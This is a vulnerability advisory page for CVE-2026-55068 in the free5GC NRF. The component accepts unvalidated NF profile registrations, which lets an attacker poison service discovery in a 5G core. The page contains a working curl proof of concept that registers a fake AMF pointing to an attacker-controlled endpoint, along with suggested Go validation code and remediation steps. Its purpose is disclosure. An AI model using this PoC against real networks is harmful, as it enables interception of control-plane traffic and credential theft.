Loading...
Skip to main content

CVE-2026-55068 — Vulnerability in github.com/free5gc/free5gc — CVE...

CRITICAL

free5GC NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints

Published August 28, 2026Updated September 2, 2026Source: osv

Summary

### Summary free5GC NRF (Docker image free5gc-fuzz:latest) accepts NF registration requests without validating any field constraints against 3GPP TS 29.510, allowing unauthenticated attackers to inject fake NF profiles with arbitrary service endpoint IP addresses. All 17 constraint violations tested (UUID format, enum values, numeric ranges, mandatory fields, IP endpoint integrity) were accepted with HTTP 200/201. Legitimate NFs discover these fake profiles via NFDiscover and route control-plane traffic to attacker-controlled endpoints, an attacker with SBI network access can intercept control-plane signaling, harvest OAuth2 credentials, and deny service to subscribers. --- ### Details free5GC NRF's `RegisterNFInstance` handler (PUT `/nnrf-nfm/v1/nf-instances/{nfInstanceID}`) accepts the full NF profile body without field-level validation. The following 3GPP TS 29.510 constraints are violated: **Format validation**: `nfInstanceId` accepts non-UUID strings (e.g., `"not-a-uuid"`, `"11111111-1111-1111-1111-111111111111"`), violating TS 29.510 §6.1.6.2.2 UUID v4 requirement. **Enum validation**: `nfStatus` accepts values outside the `{REGISTERED, SUSPENDED, UNDISCOVERABLE}` enum (e.g., `"INVALID_STATUS"`). **Range validation**: `heartBeatTimer` accepts values outside the valid range [1, 3600] (e.g., `0`, `99999`), violating TS 29.510 §5.2.2.2. **Mandatory field enforcement**: `nfProfile` is accepted as `null`, violating the required field constraint in §5.2.2.2. **Service endpoint integrity**: `nfServices.ipEndPoints` entries are stored without any IP address validation, allowing arbitrary attacker-controlled addresses (e.g., `10.0.0.99`) to be registered as legitimate NF service endpoints. All five failure modes return HTTP 200/201. The profiles are stored in MongoDB's `NfProfile` collection (which has no JSON schema validator) and appear in `NFDiscover` results alongside legitimate NF instances. **Attack chain** ( OAuth is enabled): 1. A compromised NF with valid OAuth token registers a fake AMF with `nfServices.ipEndPoints` pointing to `10.0.0.99:7777` 2. NRF stores the profile and advertises it via NFDiscover 3. SMF queries NRF for AMF instances and selects the fake one 4. SMF routes N1N2 signaling to `10.0.0.99:7777` 5. Attacker intercepts control-plane traffic **Discovery methodology**: 121 semantic constraints extracted from 10 3GPP TS 29.5xx specifications, modeled as a multi-relational interaction graph with CONDITIONAL (23 edges), CONFLICT (28 edges), and SHARED_FIELD (58 edges) relationships. 50,000 constraint-violating HTTP requests generated, 9,756 accepted-invalid responses detected, deduplicated to 17 unique violations across 5 root cause categories. **Logging**: NRF default configuration (`LogEnable: false`) produces zero runtime log lines — 450,000 HTTP requests and 27,601 NF registrations with zero audit trail. Enabling logging records the attack but does not prevent it (validation is independent of logging). ### PoC **No configuration changes needed.** Default free5GC deployment is vulnerable. ```bash # Step 1: Register fake AMF with attacker-controlled IP curl -X PUT \ "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111" \ -H "Content-Type: application/json" \ -d '{ "nfInstanceId": "11111111-1111-1111-1111-111111111111", "nfType": "AMF", "nfStatus": "REGISTERED", "heartBeatTimer": 3600, "plmnList": [{"mcc": "001", "mnc": "01"}], "sNssais": [{"sst": 1, "sd": "010203"}], "nfServices": [{ "serviceInstanceId": "fake-amf-svc", "serviceName": "namf-comm", "versions": [{"apiVersionInUri": "v1", "apiFullVersion": "1.0.0"}], "scheme": "http", "nfServiceStatus": "REGISTERED", "ipEndPoints": [{"ipv4Address": "10.0.0.99", "port": 7777, "transport": "TCP"}] }] }' # Returns: HTTP 201 (Accepted — profile stored with fake endpoint) # Step 2: Confirm the profile is stored curl "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111" # Returns: HTTP 200 with fake IP 10.0.0.99:7777 in the response # Step 3: Verify the fake AMF appears in discovery results curl "http://172.24.0.10:8000/nnrf-disc/v1/nf-instances?target-nf-type=AMF&requester-nf-type=SMF" # Returns: HTTP 200 — fake AMF with 10.0.0.99:7777 listed alongside real AMFs # Additional constraint violations (all return 200/201): curl -X PUT "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/not-a-uuid" \ -H "Content-Type: application/json" \ -d '{"nfInstanceId": "not-a-uuid", "nfType": "AMF", "nfStatus": "INVALID_STATUS", "heartBeatTimer": 0}' # Returns: HTTP 201 (non-UUID + invalid enum + out-of-range timer — ALL accepted) ``` **Expected fix**: ```go import "github.com/google/uuid" func validateNFProfile(profile *NFProfile) error { // UUID v4 validation if _, err := uuid.Parse(profile.NfInstanceId); err != nil { return fmt.Errorf("nfInstanceId must be valid UUID v4") } // Enum validation validStatuses := map[string]bool{"REGISTERED": true, "SUSPENDED": true, "UNDISCOVERABLE": true} if !validStatuses[profile.NfStatus] { return fmt.Errorf("nfStatus must be REGISTERED, SUSPENDED, or UNDISCOVERABLE") } // Range validation if profile.HeartBeatTimer < 1 || profile.HeartBeatTimer > 3600 { return fmt.Errorf("heartBeatTimer must be between 1 and 3600") } return nil } // Return HTTP 400 with ProblemDetails on validation failure ``` ### Impact | Property | Value | |----------|-------| | **Authentication** | None required | | **Impact** | Control-plane traffic interception, OAuth2 credential harvesting, denial of service | | **Affected component** | free5GC NRF Docker image free5gc-fuzz:latest | | **Affected implementations** | All NFs that use NFDiscover (AMF, SMF, AUSF, UDM, PCF, NSSF) — the fake profile propagates to the entire 5GC service mesh | | **Fix** | Add UUID/enum/range/required-field validation to RegisterNFInstance handler; return HTTP 400 with ProblemDetails on failure | | **Status** | Reported to maintainers | **Scope of impact**: Unlike denial-of-service attacks (SIGABRT/SIGSEGV) that only affect a single Network Function (NF), this vulnerability can impact **all NFs** within the 5GC service mesh. Once a forged NF profile is registered, any NF querying the NRF for service discovery may be redirected to an attacker-controlled endpoint. The 27,601 profiles registered during testing fully demonstrate the automated scale achievable by such an attack. **Environment**: free5GC Docker image free5gc-fuzz:latest, Docker Compose, Ubuntu 22.04, kernel 6.8.0-111, bridge network 172.24.0.0/24.

Advisory Timeline

  • First published August 28, 2026 (45 days ago).
  • Last revised September 2, 2026 — 5 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/free5gc/free5gc to 4.2.2 or later
go get github.com/free5gc/free5gc@v4.2.2

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/free5gc/free5gc
go
All versions4.2.2

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-20
    Improper Input ValidationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Frequently Asked Questions

What is CVE-2026-55068?
free5GC NRF nnrf-nfm lacks NF Profile input validation — enables NF Registration Poisoning with arbitrary service endpoints This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-55068?
CVE-2026-55068 affects github.com/free5gc/free5gc. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-55068 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-x8mj-6p3q-g5pp
GO-2026-6316

Related CVEs

  • CVE-2026-44329
    CRITICAL

    free5GC's SMF UPI management interface lacks auth middleware; unauthenticated topology read/write requests reach handlers

  • CVE-2026-44326
    CRITICAL

    free5GC's NEF 3gpp-traffic-influence API is unauthenticated; missing or forged bearer tokens can create, read, patch, and delete subscriptions

  • CVE-2026-44315
    CRITICAL

    free5GC's NEF 3gpp-pfd-management API is unauthenticated; forged bearer tokens can create, read, and delete PFD transactions

  • CVE-2026-44327
    CRITICAL

    free5GC's NEF nnef-oam route group is unauthenticated; no-token requests reach the OAM handler

  • CVE-2026-107806
    CRITICAL

    Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

  • CVE-2025-66719
    CRITICAL

    Free5gc NRF is vulnerable to scope validation bypass via maliciously crafted targetNF value

  • CVE-2026-68582
    CRITICAL

    Vikunja: Link-share token reads any tenant's kanban buckets and enumerates usernames/IDs instance-wide (BOLA)

  • CVE-2026-44330
    CRITICAL

    free5GC's NEF nnef-pfdmanagement API is unauthenticated; forged bearer tokens can read PFD data and create/delete PFD subscriptions

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies